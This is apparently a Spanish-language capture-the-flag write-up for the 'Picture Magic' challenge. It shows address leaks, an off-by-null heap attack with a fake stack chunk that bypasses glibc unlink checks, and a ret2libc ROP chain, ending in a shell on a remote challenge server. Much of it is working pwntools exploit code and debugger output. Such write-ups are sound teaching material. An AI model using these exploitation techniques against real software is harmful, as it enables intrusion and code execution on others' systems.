------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000000501 | ................ | <- unsortedbins[1/1]
0x55555555c2a0: 0x00007ffff7df6cc0 0x00007ffff7df6cc0 | .l.......l...... |
0x55555555c2b0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x55555555c790: 0x0000000000000500 0x0000000000000500 | ................ |
0x55555555c7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555cc90: 0x0000000000000000 0x0000000000020371 | ........q....... | <- top
0x55555555cca0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8245 lines, 0x20350 bytes
Ahora intentamos crear otra imagen y escribimos letras en lugar de números:
gef> continue
Continuing.
1
Width: a
Height: a
Chosen size of (4158614720, 32767) cannot be used!
Picture must not exceed 1264 bytes!
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> ^C
gef> p/x 4158614720ul | (32767ul << 32)
$1 = 0x7ffff7df6cc0
gef> x/gx 4158614720ul | (32767ul << 32)
0x7ffff7df6cc0 <main_arena+96>: 0x000055555555cc90
Del mismo modo, podemos obtener una dirección del heap, pero necesitamos otro chunk del Unsorted Bin que se consolide con el top chunk, para que la información del puntero fd
no esté sobrescrita. Para esto, podemos hacer lo siguiente:
- Asignar 4 imágenes (
0
,1
,2
y3
)
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c790, size=0x500, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x500, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555d190, size=0x500, flags=PREV_INUSE, fd=0x00055555555d, bk=0x000000000000)
Chunk(addr=0x55555555d690, size=0x1f970, flags=PREV_INUSE, fd=0x00055555555d, bk=0x000000000000) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000000501 | ................ |
0x55555555c2a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555c790: 0x0000000000000000 0x0000000000000501 | ................ |
0x55555555c7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555cc90: 0x0000000000000000 0x0000000000000501 | ................ |
0x55555555cca0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555d190: 0x0000000000000000 0x0000000000000501 | ................ |
0x55555555d1a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555d690: 0x0000000000000000 0x000000000001f971 | ........q....... | <- top
0x55555555d6a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8085 lines, 0x1f950 bytes
- Vender
0
(fuga del stack)2
y3
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0) <- unsortedbins[1/1]
Chunk(addr=0x55555555c790, size=0x500, flags=, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x20370, flags=PREV_INUSE, fd=0x55555555c290, bk=0x7ffff7df6cc0) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
unsorted_bins[idx=0, size=any, @0x7ffff7df6cd0]: fd=0x55555555c290, bk=0x55555555c290
-> Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0)
[+] Found 1 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000000501 | ................ | <- unsortedbins[1/1]
0x55555555c2a0: 0x00007ffff7df6cc0 0x00007ffff7df6cc0 | .l.......l...... |
0x55555555c2b0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x55555555c790: 0x0000000000000500 0x0000000000000500 | ................ |
0x55555555c7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555cc90: 0x0000000000000000 0x0000000000020371 | ........q....... | <- top
0x55555555cca0: 0x000055555555c290 0x00007ffff7df6cc0 | ..UUUU...l...... |
0x55555555ccb0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x55555555d190: 0x0000000000000500 0x0000000000000500 | ................ |
...
- Asignar otra imagen
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x00055555555c, bk=0x7ffff7df6c00)
Chunk(addr=0x55555555c790, size=0x500, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x20370, flags=PREV_INUSE, fd=0x55555555c290, bk=0x7ffff7df6cc0) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000000501 | ................ |
0x55555555c2a0: 0x0000000000000000 0x00007ffff7df6c00 | .........l...... |
0x55555555c2b0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x55555555c790: 0x0000000000000500 0x0000000000000501 | ................ |
0x55555555c7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555cc90: 0x0000000000000000 0x0000000000020371 | ........q....... | <- top
0x55555555cca0: 0x000055555555c290 0x00007ffff7df6cc0 | ..UUUU...l...... |
0x55555555ccb0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x55555555d190: 0x0000000000000500 0x0000000000000500 | ................ |
...
- Ahora, la próxima imagen que asignemos tendrá
0x000055555555c290
en los camposp->width
yp->height
:
gef> continue
Continuing.
1
Width: a
Height: a
Chosen size of (1431683728, 21845) cannot be used!
Picture must not exceed 1264 bytes!
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> ^C
gef> p/x 1431683728ul | (21845ul << 32)
$1 = 0x55555555c290
Habiendo mostrado esto, escribamos el exploit:
sell(2)
sell(3)
p.sendlineafter(b'-> ', b'1')
p.sendlineafter(b'Width: ', b'asdf')
p.sendlineafter(b'Height: ', b'asdf')
p.recvuntil(b'Chosen size of ')
width, height = literal_eval(p.recvuntil(b')').decode())
glibc.address = ((height << 32) | width) - 0x1f6cc0
p.success(f'Glibc base address: {hex(glibc.address)}')
create(0, 0)
p.sendlineafter(b'-> ', b'1')
p.sendlineafter(b'Width: ', b'asdf')
p.sendlineafter(b'Height: ', b'asdf')
p.recvuntil(b'Chosen size of ')
width, height = literal_eval(p.recvuntil(b')').decode())
heap_base_addr = ((height << 32) | width) - 0x290
p.success(f'Heap base address: {hex(heap_base_addr)}')
Además, podemos vender las imágenes restantes para dejar el heap como al principio:
sell(0)
sell(1)
Bypass de comprobaciones de Unlink
En este punto, tenemos todo lo que necesitamos para realizar el ataque de null-byte poison. En primer lugar, desencadenamos la vulnerabilidad:
create(0, 0) # A
create(0, 0) # B
sell(0)
create(0x4f0, 1) # A
Con este código, estamos asignando 3 imágenes (etiquetadas A
, B
, en orden como aparecen en el heap). Liberamos A
, dejando B
intacto (este es el chunk víctima). A continuación, asignamos otra imagen con el máximo tamaño, de modo que el último byte nulo modifica la flag PREV_INUSE
de B
.
Antes del off-by-null:
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0) <- unsortedbins[1/1]
Chunk(addr=0x55555555c790, size=0x500, flags=, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x20370, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
unsorted_bins[idx=0, size=any, @0x7ffff7df6cd0]: fd=0x55555555c290, bk=0x55555555c290
-> Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0)
[+] Found 1 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000000501 | ................ | <- unsortedbins[1/1]
0x55555555c2a0: 0x00007ffff7df6cc0 0x00007ffff7df6cc0 | .l.......l...... |
0x55555555c2b0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x55555555c790: 0x0000000000000500 0x0000000000000500 | ................ |
0x55555555c7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555cc90: 0x0000000000000000 0x0000000000020371 | ........q....... | <- top
0x55555555cca0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8245 lines, 0x20350 bytes
Después del off-by-null:
gef> continue
Continuing.
1
Width: 1264
Height: 1
Reading picture into buffer:
================================
================================
Successfully read picture!
Picture has been assigned index 0.
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> ^C
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x0004555551ac, bk=0x2020202020202020)
Chunk(addr=0x55555555c790, size=0x500, flags=, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x20370, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000000501 | ................ |
0x55555555c2a0: 0x00000001000004f0 0x2020202020202020 | ........ |
0x55555555c2b0: 0x2020202020202020 0x2020202020202020 | |
* 77 lines, 0x4d0 bytes
0x55555555c790: 0x0a20202020202020 0x0000000000000500 | ......... |
0x55555555c7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555cc90: 0x0000000000000000 0x0000000000020371 | ........q....... | <- top
0x55555555cca0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8245 lines, 0x20350 bytes
Véase cómo toda la imagen contiene espacios en blanco y caracteres de salto de línea, pero el byte relevante es el byte nulo que ha puesto PREV_INUSE
a 0
.
En este punto, debemos poner un valor negativo en prev_size
que apunte al buffer name
en la pila desde el chunk actual. Para esto, escribí dos funciones auxiliares:
def write_byte(b: int, index: int, column: int):
transform(index, 0, 0, column, b'mul')
transform(index, abs(b - 0x20), 0, column, b'add' if b > 0x20 else b'sub')
def write_qword(qword: bytes, offset: int, index: int):
for i, b in enumerate(qword):
if b:
write_byte(b, index, offset - (8 - i))
write_byte
primero multiplica por 0
, para que obtengamos un byte 0x20
ahí (los bytes nulos se reemplazan por espacios en blanco). Luego, sumamos o restamoos para lograr el byte que queremos. La segunda función, write_qword
toma un buffer de 8 bytes y lo escribe byte a byte en el offset que queremos (si es distinto de cero).
Como habrás notado, para mantener las cosas simples, todas las imágenes tiene p->width = 0
o p->height = 0
, excepto por una que tiene p->width = 0x4f0
y p->height = 1
. Como resultado, usaremos siempre 0
para filas, solo nos importan las columnas.
Entonces, podemos obtener un valor negativo en prev_size
mediante complemento a dos y escribirlo en el chunk A
en el offset 0x4f0
:
two_c = lambda n: ((~(abs(n)) + 1) & 0xffffffffffffffff)
prev_size = two_c(heap_base_addr + 0x790 - name_addr)
write_qword(p64(prev_size), 0x4f0, 0)
Si depuramos con GDB en este momento, tendremos esto:
$ python3 solve.py
[*] './picture_magic'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './picture_magic': pid 4186899
[*] Name address: 0x7ffeba922820
[+] Glibc base address: 0x7f8280200000
[+] Heap base address: 0x555e78c98000
[*] running in new terminal: ['/usr/bin/gdb', '-q', './picture_magic', '4186899', '-x', '/tmp/pwnbsgc5h0m.gdb']
[+] Waiting for debugger: Done
gef> chunks
Chunk(addr=0x555e78c98000, size=0x290, flags=PREV_INUSE, fd=0x000555e78c98, bk=0x000000000000)
Chunk(addr=0x555e78c98290, size=0x500, flags=PREV_INUSE, fd=0x000455e78868, bk=0x2020202020202020)
Chunk(addr=0x555e78c98790, size=0x500, flags=, fd=0x000555e78c98, bk=0x000000000000)
Chunk(addr=0x555e78c98c90, size=0x20370, flags=PREV_INUSE, fd=0x555e78c98290, bk=0x7f82803f6cc0) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
gef> visual-heap
0x555e78c98000: 0x0000000000000000 0x0000000000000291 | ................ |
0x555e78c98010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x555e78c98290: 0x0000000000000000 0x0000000000000501 | ................ |
0x555e78c982a0: 0x00000001000004f0 0x2020202020202020 | ........ |
0x555e78c982b0: 0x2020202020202020 0x2020202020202020 | |
* 77 lines, 0x4d0 bytes
0x555e78c98790: 0xffffd55fbe375f70 0x0000000000000500 | p_7._........... |
0x555e78c987a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x555e78c98c90: 0x0000000000000000 0x0000000000020371 | ........q....... | <- top
0x555e78c98ca0: 0x0000555e78c98290 0x00007f82803f6cc0 | ...x^U...l?..... |
0x555e78c98cb0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x555e78c99190: 0x0000000000000500 0x000000000001fe71 | ........q....... |
...
En este punto, si liberamos el chunk B
, El asignador del heap notará que PREV_INUSE = 0
y usará el campo prev_size
para “ir hacia arriba” buscando el chunk anterior para fusionarlo. Sin embargo, estamos confundiendo al heap, por lo que “subir” en realidad es “bajar” ya que prev_size
es negativo. Además, el asignador de heap irá al buffer de name
. Aquí pondremos un chunk falso porque necesitamos satisfacer algunas condiciones.
Suponiendo que tuviéramos un chunk en el buffer de name
, el asignador del heap tomará el puntero fd
y verificará que apunte al chunk con el que se fusiona (el chunk falso). Lo mismo se probará en bk
y dos campos más conocidos como fd_nextsize
y bk_nextsize
. Además, el tamaño del chunk falso debe coincidir con el campo prev_size
. Para más información, se recomienda leer el código fuente de Glibc.
Entonces, agregaremos esto:
change(p64(0) + p64(prev_size) + p64(name_addr) * 4)
Necesitamos lograr algo como esto:
gef> x/10gx 0x7ffdf94aed90
0x7ffdf94aed90: 0x0000000000000000 0xffffd5d4b8842a00
0x7ffdf94aeda0: 0x00007ffdf94aed90 0x00007ffdf94aed90
0x7ffdf94aedb0: 0x00007ffdf94aed90 0x00007ffdf94aed90
0x7ffdf94aedc0: 0x0000000000000000 0x1ca2e06effecfe00
0x7ffdf94aedd0: 0x0000000000000001 0x00007fe802e23510
En este punto, podemos liberar el chunk B
y se ejecutará Unlink. Ahora el heap está corrupto, ya que hemos modificado la dirección del top chunk. Echemos un vistazo a la arena
:
gef> arena
------------------------------------------------- [arena] ----- p ((struct malloc_state*) 0x7fef151f6c60)[0] -------------------------------------------------
$3 = {
mutex = 0x0,
flags = 0x0,
have_fastchunks = 0x0,
fastbinsY = {
[0x0] = 0x0,
[0x1] = 0x0,
...
[0x9] = 0x0
},
top = 0x7fffa0867980,
last_remainder = 0x0,
bins = {
[0x0] = 0x7fef151f6cc0 <main_arena+96>,
[0x1] = 0x7fef151f6cc0 <main_arena+96>,
...
[0xfd] = 0x7fef151f74a0 <main_arena+2112>
},
binmap = {
[0x0] = 0x0,
[0x1] = 0x0,
[0x2] = 0x0,
[0x3] = 0x0
},
next = 0x7fef151f6c60 <main_arena>,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x21000,
max_system_mem = 0x21000
}
La parte superior apunta a la pila. Esto significa que cuando asignemos una imagen, se colocará en la pila, cerca del buffer de name
. Como resultado, podremos modificar los atributos de la imagen y lograr una primitiva de escritura arbitraria. Pero en primer lugar, necesitamos agregar un tamaño válido para el top chunk, para que el programa no se bloquee:
sell(1)
change(p64(0) + p64(0x20371))
Ahora podemos asignar otra imagen y modificar su tamaño para que tengamos un espacio grande para usar transform_picture
:
index = create(0, 0)
change(p64(0) + p64(0x501) + p32(0xffffffff) + p32(1))
Cadena ROP
Dado que tenemos Glibc 2.36 y ya estamos en la pila, el mejor enfoque para obtener ejecución de código arbitrario es colocar una cadena ROP en la dirección de retorno. Tengamos en cuenta que tenemos una primitiva de escritura arbitraria, por lo que no es necesario lidiar con el canario. Además, tenemos suerte de que en realidad no necesitamos usar bytes nulos, porque los bytes nulos que necesitamos ya están ahií de otras direcciones de memoria.
Después de un poco de depuración, encontramos la dirección de retorno de main
y colocamos una cadena ROP de ret2libc en la pila:
rop = ROP(glibc)
write_qword(p64(rop.ret.address), 56, index)
write_qword(p64(rop.rdi.address), 64, index)
write_qword(p64(next(glibc.search(b'/bin/sh'))), 72, index)
write_qword(p64(glibc.sym.system), 80, index)
p.sendlineafter(b'-> ', b'6')
p.recv()
p.interactive()
Finalmente, salimos del programa para que se ejecute la instrucción ret
desde main
y se ejecute la cadena ROP. Con todo esto, tenemos una shell en local:
$ python3 solve.py
[*] './picture_magic'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './picture_magic': pid 12621
[*] Name address: 0x7fffe394d2d0
[+] Glibc base address: 0x7f6c18a00000
[+] Heap base address: 0x555bd93f4000
[*] Loaded 192 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
$ ls
build-docker.sh flag.txt libc.so.6 solve.py
Dockerfile ld-2.36.so picture_magic
Flag
Probemos en remota:
$ python3 solve.py 167.99.85.216:31434
[*] './picture_magic'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Opening connection to 167.99.85.216 on port 31434: Done
[*] Name address: 0x7ffeff8d5740
[+] Glibc base address: 0x7f4fb970d000
[+] Heap base address: 0x56545a0de000
[*] Loaded 192 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
$ ls
flag.txt
ld-2.36.so
libc.so.6
picture_magic
$ cat flag.txt
HTB{h0u53_0f_31nh3rj4r_pu5h3d_b3y0nd_7h3_l1m17}
El exploit completo se puede encontrar aquí: solve.py
.